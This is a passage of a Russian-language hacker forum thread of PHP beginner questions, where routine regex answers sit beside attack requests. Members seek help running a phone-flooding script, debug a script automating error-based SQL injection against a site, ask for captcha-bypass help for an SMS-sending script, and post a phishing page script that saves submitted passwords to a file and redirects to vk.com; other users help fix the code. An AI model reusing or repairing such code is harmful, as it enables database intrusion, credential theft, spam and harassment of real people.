[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. daniel777

    daniel777 Elder - Старейшина

    Joined:
    8 Jul 2010
    Messages:
    517
    Likes Received:
    90
    Reputations:
    37
    justonline, вероятно заменять это: /n или /r/n
     
  2. .Varius

    .Varius Elder - Старейшина

    Joined:
    5 May 2009
    Messages:
    558
    Likes Received:
    289
    Reputations:
    42
    justonline
    PHP:
    preg_replace('/\<br(\s*)?\/?\>/i'"\n"$string);
     
  3. Vinsik

    Vinsik Elder - Старейшина

    Joined:
    4 Oct 2008
    Messages:
    189
    Likes Received:
    4
    Reputations:
    -5
    Помогите составить маску для прегреплейса

    PHP:
     <class=" premium"   id="djo" href="http://promodj.com/SoundReflections"><span amba="user:8108" id="pa">SoundReflect</span><span amba="user:8108" id="pb">ions</span></a>&nbsp

     <
    a amba="user:656345"   id="usero" href="http://promodj.com/buzz777">BuzZ &quot;777&quot;</a>&nbsp
    нужно оставить http://promodj.com/SoundReflections SoundReflect

    http://promodj.com/buzz777 BuzZ
     
  4. .Varius

    .Varius Elder - Старейшина

    Joined:
    5 May 2009
    Messages:
    558
    Likes Received:
    289
    Reputations:
    42
    Vinsik
    PHP:
    preg_match('#href=\"(.*?)\"#s'$str$matches);
     
  5. Ferrari F1

    Ferrari F1 New Member

    Joined:
    2 Jul 2012
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Хайль всем.

    Скажу сразу, ПХП, програмирование, администрирование я знаю ровно НОЛЬ.
    У меня вопрос, хочу запустить php скрипт для флуда на мобилу, я установил денвер, запускаю скрипт, браузер пишет The function socket_connect does not exist! You cannot use this script., автор скрипта пишет: От хоста требуется поддержка сессий и сокетов (функции fsockopen и socket_***).
    Чо это такое и как это сделать? Помогите разобраться и запустить скрипт, пожалуйста объясните все без компьютерного сленга, как обычному домашнему пользователю.

    Кому интересно вот <A HREF="http://forum.antichat.ru/printthread.php?t=70705&pp=40">ССЫЛЬ</A>
     
    #20785 Ferrari F1, 4 Jul 2012
    Last edited: 4 Jul 2012
    Vinsik middle pita likes this.
  6. GRRRL Power

    GRRRL Power Elder - Старейшина

    Joined:
    13 Jul 2010
    Messages:
    823
    Likes Received:
    185
    Reputations:
    84
    Посмотри, сколько лет этому скрипту. Он уже давно не работает. А по теме - написано же, требуется поддержка функции socket_connect. Т.е., на хосте нет поддержки такого API.
     
  7. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    281
    Likes Received:
    144
    Reputations:
    36
    Доброго времени суток, вопрос в следующем, что здесь не так? :D
    PHP:
    <?php
    $site 
    file_get_contents("http://site.ru/test'/**/and(select/**/1/**/from(select/**/count(*),concat((select/**/table_name/**/from/**/information_schema.tables/**/limit/**/'$ch',1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)and/**/'1"); 
    preg_match("/Duplicate entry '(.*?)1' for key 'group_key'/si",$site,$match);

    for(
    $ch=0;$ch<=2000;$ch++){ 
    $source $match;
            
    $file "rezult.txt";
            
    $sfile fopen($file'w+');
            
    fwrite($sfile$source);
            
    fclose($sfile);
    }
    ?>
     
  8. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    *водит рукой по монитору*
    Вижу проблемы с аурой, надо почистить...
    сглаз навели тоже...

    Думаю завистники.
    (намёк понятен?)
     
  9. BuTaCoK

    BuTaCoK New Member

    Joined:
    4 Jun 2012
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    подскажите нормальные нормальные скрипты рнр для сиджей. типа gb scripts или кристал трейд. Может кто подскажет как кристал трейд установить. целый день голову проломал и так ничего и не вышло(((
     
  10. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    281
    Likes Received:
    144
    Reputations:
    36
    Да, с пхп совсем плохо )) Помоги допилить, чтоли ;(
     
  11. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    PHP:
    $source $match;
    ...
    fwrite($sfile$source);
    $match - Массив получившийся от функции preg_match()

    И пытаетесь записать этот массив в файл.
    Функция fwrite()
    Требует передавать ей строку, а не массив.
    посмотрите, что попадает в массив $match и пишите в файл нужный элемент массива.

    Рискну предположить, что на этом месте:
    PHP:
    $source $match;
    Должно быть обращение к элементу массива
     
  12. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    281
    Likes Received:
    144
    Reputations:
    36
    PHP:
    $flow $match[1];

    for(
    $ch=0;$ch<=2000;$ch++){ 

    $source $flow;
            
    $file "rezult.txt";
            
    $sfile fopen($file'w+');
            
    fwrite($sfile$source);
            
    fclose($sfile);
    }
    ?>
    эм? :D
     
  13. alfi

    alfi New Member

    Joined:
    4 Mar 2012
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    PHP скрипт отправки sms beeline by Isis

    Code:
    <?php 
        /* 
         * http://forum.xeksec.com 
         * Author: Isis 
         */ 
          
        $text = 'Hey bro. Where are you?'; 
        $prefix = '906'; 
        $number = '1234567'; 
         
        function getCookie($afcode = null, $captcha = null) 
        { 
            global $text, $prefix, $number; 
            $text = 'Hey bro. Where are you?'; 
            $url = 'https://www.beeline.ru/sms/index.wbp'; 
             
            if ($afcode) 
            { 
                $post = array( 
                    'send' => '', 
                    'smstext' => $text, 
                    'afcode' => $afcode, 
                    'smstoprefix' => $prefix, 
                    'smsto' => $number, 
                    'dirtysmstext' => $text, 
                    //translit 
                    'confirm_key' => '', 
                    'confirmcode' => $captcha, 
                    'x' => '36', 
                    'y' => '8', 
                ); 
            } 
             
            if($ch = curl_init($url)) 
            { 
                curl_setopt($ch, CURLOPT_HEADER, 1); 
                curl_setopt($ch, CURLOPT_REFERER, $url); 
                if ($afcode) 
                { 
                    curl_setopt($ch, CURLOPT_POST, 1); 
                    curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 
                } 
                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/7.0.1'); 
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
                curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
                curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt'); 
                curl_setopt($ch, CURLOPT_COOKIEJAR,  getcwd() . '/cookie.txt'); 
                $content = curl_exec($ch); 
                curl_close($ch); 
                if (preg_match('#<input type="hidden" name="afcode" value="([^>]*)">#is', $content, $afc)) 
                { 
                    return $afc[1]; 
                } 
                 
                if ($afcode) return $content; 
            } 
        } 
         
        function getCaptcha() 
        { 
            $url = 'https://www.beeline.ru/mamimg.aspx?width=120&height=30'; 
            if($ch = curl_init($url)) 
            { 
                curl_setopt($ch, CURLOPT_HEADER, 0); 
                curl_setopt($ch, CURLOPT_REFERER, $url); 
                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/7.0.1'); 
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
                curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
                curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt'); 
                curl_setopt($ch, CURLOPT_COOKIEJAR,  getcwd() . '/cookie.txt'); 
                curl_setopt($ch, CURLOPT_BINARYTRANSFER,1); 
                $content = curl_exec($ch); 
                file_put_contents('capt.gif', $content); 
                curl_close($ch); 
                return true; 
            } 
            return false; 
        } 
         
        if (isset($_POST['cpt'])) 
        { 
            echo getCookie($_POST['afcode'], $_POST['cpt']); 
        } 
        else 
        { 
            if ($afcode = getCookie()) 
            { 
                getCaptcha(); 
                echo '<img src="capt.gif" /><br/><form method="post"><input name="cpt" /><input type="hidden" name="afcode" value="' . $afcode . '" /><input type="submit" value="go" /></form>'; 
            } 
        }
    Собственно помогите с разгадыванием капчи.
     
  14. DonaldDuck

    DonaldDuck New Member

    Joined:
    29 Apr 2012
    Messages:
    110
    Likes Received:
    3
    Reputations:
    1
    Смотри на антигейт, там всё просто:
    http://apiexamples.antigate.com/curl.txt
     
  15. alfi

    alfi New Member

    Joined:
    4 Mar 2012
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    А можно посмотреть как скрипт с перекрученной капчей выглядеть будет? Большое спасибо!
     
  16. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Привет.

    ПОдскажите как реализовать схему авторизации на сайте через cURL, если используется каптча.
    Я сделал примерно так.

    1. Запрос страницы авторизации сайта через cURL + запись куков
    2. Открываем страницу с капчтей которую достали в п.1 и сохраняем ее в файл
    3. Отправляем на antigate.com и ждем ответа.
    4 Отправляем POST запрос с полями авторизации и каптчи+куки.

    В итоге вылачит просто страница авторизации, как будь-то мы ее просто открыли
     
  17. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Сниффай запросы и сравнивай с тем что шлет броузер, токены\реферер мб. не передаешь.
     
  18. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Нашел проблему. Сайт отвечает что капча не верная.
    Хотя мы передаем ее верную. Почему может сессия теряться?
     
  19. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Скинь в лс сайт если палить не хочешь, теряться может из-за js кукисов неправильных токенов и пр.
     
  20. brutal

    brutal New Member

    Joined:
    6 Nov 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    <?php
    $file = fopen("base.php",a);

    $data = "$_POST : $_POST[pass] \n";

    fwrite($file,$data);

    fclose($file);

    header("Location: http://vk.com/");

    exit;
    ?>
    Вот файл фейка но почему-то редирект не работает подскажите может что не так написал а то задолбался уже в гугле лазить
     
Thread Status:
Not open for further replies.